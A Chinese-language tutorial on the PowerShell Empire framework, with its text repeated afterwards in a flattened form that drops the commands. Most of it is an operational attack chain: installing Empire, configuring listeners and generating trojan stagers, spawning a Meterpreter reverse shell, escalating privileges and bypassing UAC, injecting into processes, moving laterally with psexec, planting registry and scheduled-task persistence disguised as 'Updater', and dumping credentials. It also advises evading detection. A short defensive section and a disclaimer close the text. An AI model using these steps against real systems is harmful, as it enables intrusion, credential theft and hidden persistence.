PowerShell Empire实战入门篇
字数 1695 2025-08-18 11:36:57

PowerShell Empire 实战入门教程

一、Empire 简介

PowerShell Empire(简称"帝国")是一款针对Windows系统的内网渗透工具,具有以下特点:

  • 无需powershell.exe即可运行PowerShell代理
  • 快速部署后渗透模块(按键记录、Mimikatz等)
  • 具备逃避网络检测的能力
  • 适应性强的通信机制
  • 类似Meterpreter的易用框架

官方网站:http://powershellempire.com/

二、环境安装

系统要求

  • 推荐:Debian/Ubuntu/Kali Linux
  • 不推荐:CentOS

安装步骤

git clone https://github.com/EmpireProject/Empire.git
cd Empire/setup
sudo ./install.sh

安装过程中会提示输入服务协商密码,可直接回车使用随机生成的密码。

三、基本使用

1. 监听器设置

查看可用监听器类型:

(Empire: listeners) > uselistener [Tab键自动补全]

共有7种监听模式。

设置HTTP监听器示例:

(Empire: listeners) > uselistener http
(Empire: listeners/http) > set Name xiaobai
(Empire: listeners/http) > set Host [服务器IP]
(Empire: listeners/http) > execute

查看激活的监听器:

(Empire: listeners/http) > listeners

删除监听器:

(Empire: Listeners) > kill [监听器名称]

2. 生成木马程序

Empire提供多种木马生成模块(共26个),分为:

  • multi:通用模块
  • osx:Mac操作系统
  • linux:Linux系统
  • windows:Windows系统

生成的文件类型包括:.dll、.bat、.vbs等。

(1) launcher模块

usestager [具体模块]

示例(Python):

usestager multi/launcher
set Listener xiaobai
execute

生成的Payload是Base64编码的,可直接在目标系统执行。

(2) vbs反弹shell

usestager windows/launcher_vbs
set Listener xiaobai
execute

生成的launcher.vbs文件位于/tmp/目录下,在目标系统执行即可获得权限。

(3) bat文件生成

usestager windows/launcher_bat
set Listener xiaobai
execute

生成的launcher.bat文件执行后会快速闪过cmd窗口。

3. 代理管理

查看已激活代理:

agents

注意:Username带有(*)的是已提权成功的代理。

与代理交互:

interact [代理名称]

在代理会话中执行命令:

shell [命令]

删除代理:

  • kill [代理名称]:彻底删除
  • remove [代理名称]:仅移除(需先kill监听器)

四、模块使用

Empire 2.3包含204个模块,主要分类如下:

  1. code_execution - 代码执行
  2. collection - 信息收集(屏幕截图、键盘记录、剪贴板记录等)
  3. credentials - 密码凭据获取和转储
  4. exfiltration - 指定IP端口扫描
  5. lateral_movement - 横向渗透
  6. management - 系统设置和邮件信息收集
  7. persistence - 权限维持
  8. privesc - 权限提升
  9. recon - 侦察
  10. situational_awareness - 主机和网络环境评估
  11. trollsploit - 恶作剧

1. 与Metasploit联动

使用Empire派生meterpreter shell:

usemodule code_execution/invoke_shellcode
set Lport [端口]
set Lhost [MSF服务器IP]
execute

MSF设置:

use exploit/multi/handler
set payload windows/meterpreter/reverse_https
set Lhost [IP]
set Lport [端口]
exploit

2. 提权模块

(1) ms16-032提权

usemodule privesc/ms16-032
set Listener [监听器名称]
execute

(2) UAC绕过

usemodule privesc/bypassuac
set Listener [监听器名称]
execute

需要目标主机用户点击确认两次。

(3) AllChecks模块

usemodule privesc/powerup/allchecks
execute

检查所有可能的提权方法。

3. 信息收集

(1) ARP扫描

usemodule situational_awareness/network/arpscan
set Range [IP范围,如192.168.1.0-192.168.1.254]
execute

(2) 会话注入

usemodule management/psinject
set ProcId [进程ID]
set Listener [监听器名称]
execute

4. 横向移动

psexec模块

usemodule lateral_movement/invoke_psexec
set ComputerName [目标IP]
set Listener [监听器名称]
execute

五、权限维持

1. 注册表持久化

usemodule persistence/elevated/registry
set Listener [监听器名称]
execute

会在注册表HKLM:SOFTWARE\Microsoft\Windows\CurrentVersion\Debug添加启动项。

2. 计划任务持久化

usemodule persistence/elevated/schtasks
set Listener [监听器名称]
set DailyTime [执行时间,如22:30]
execute

会在任务计划程序库创建名为"Updater"的任务。

六、实用技巧

  1. 查看模块信息:在任何模块中使用info命令查看详细参数
  2. Tab补全:输入命令时按Tab键可自动补全
  3. 帮助系统:使用help命令查看当前上下文可用的命令
  4. 凭证导出
    creds  # 查看所有hash值
    creds export /path/to/file.csv  # 导出凭证
    

七、防御建议

  1. 监控异常PowerShell活动
  2. 限制PowerShell执行策略
  3. 启用高级威胁防护
  4. 监控注册表和计划任务异常修改
  5. 保持系统和安全软件更新

八、总结

PowerShell Empire是一款功能强大的内网渗透工具,通过本文介绍的基本使用方法,可以完成从初始访问到权限维持的完整攻击链。实际使用中需要根据目标环境灵活选择模块和攻击方式,同时注意规避安全检测。

注意:本文仅用于安全研究和防御技术学习,未经授权不得用于非法用途。

PowerShell Empire 实战入门教程 一、Empire 简介 PowerShell Empire(简称"帝国")是一款针对Windows系统的内网渗透工具,具有以下特点: 无需powershell.exe即可运行PowerShell代理 快速部署后渗透模块(按键记录、Mimikatz等) 具备逃避网络检测的能力 适应性强的通信机制 类似Meterpreter的易用框架 官方网站:http://powershellempire.com/ 二、环境安装 系统要求 推荐:Debian/Ubuntu/Kali Linux 不推荐:CentOS 安装步骤 安装过程中会提示输入服务协商密码,可直接回车使用随机生成的密码。 三、基本使用 1. 监听器设置 查看可用监听器类型: 共有7种监听模式。 设置HTTP监听器示例: 查看激活的监听器: 删除监听器: 2. 生成木马程序 Empire提供多种木马生成模块(共26个),分为: multi:通用模块 osx:Mac操作系统 linux:Linux系统 windows:Windows系统 生成的文件类型包括:.dll、.bat、.vbs等。 (1) launcher模块 示例(Python): 生成的Payload是Base64编码的,可直接在目标系统执行。 (2) vbs反弹shell 生成的launcher.vbs文件位于/tmp/目录下,在目标系统执行即可获得权限。 (3) bat文件生成 生成的launcher.bat文件执行后会快速闪过cmd窗口。 3. 代理管理 查看已激活代理: 注意:Username带有(* )的是已提权成功的代理。 与代理交互: 在代理会话中执行命令: 删除代理: kill [代理名称] :彻底删除 remove [代理名称] :仅移除(需先kill监听器) 四、模块使用 Empire 2.3包含204个模块,主要分类如下: code_ execution - 代码执行 collection - 信息收集(屏幕截图、键盘记录、剪贴板记录等) credentials - 密码凭据获取和转储 exfiltration - 指定IP端口扫描 lateral_ movement - 横向渗透 management - 系统设置和邮件信息收集 persistence - 权限维持 privesc - 权限提升 recon - 侦察 situational_ awareness - 主机和网络环境评估 trollsploit - 恶作剧 1. 与Metasploit联动 使用Empire派生meterpreter shell: MSF设置: 2. 提权模块 (1) ms16-032提权 (2) UAC绕过 需要目标主机用户点击确认两次。 (3) AllChecks模块 检查所有可能的提权方法。 3. 信息收集 (1) ARP扫描 (2) 会话注入 4. 横向移动 psexec模块 五、权限维持 1. 注册表持久化 会在注册表 HKLM:SOFTWARE\Microsoft\Windows\CurrentVersion\Debug 添加启动项。 2. 计划任务持久化 会在任务计划程序库创建名为"Updater"的任务。 六、实用技巧 查看模块信息 :在任何模块中使用 info 命令查看详细参数 Tab补全 :输入命令时按Tab键可自动补全 帮助系统 :使用 help 命令查看当前上下文可用的命令 凭证导出 : 七、防御建议 监控异常PowerShell活动 限制PowerShell执行策略 启用高级威胁防护 监控注册表和计划任务异常修改 保持系统和安全软件更新 八、总结 PowerShell Empire是一款功能强大的内网渗透工具,通过本文介绍的基本使用方法,可以完成从初始访问到权限维持的完整攻击链。实际使用中需要根据目标环境灵活选择模块和攻击方式,同时注意规避安全检测。 注意:本文仅用于安全研究和防御技术学习,未经授权不得用于非法用途。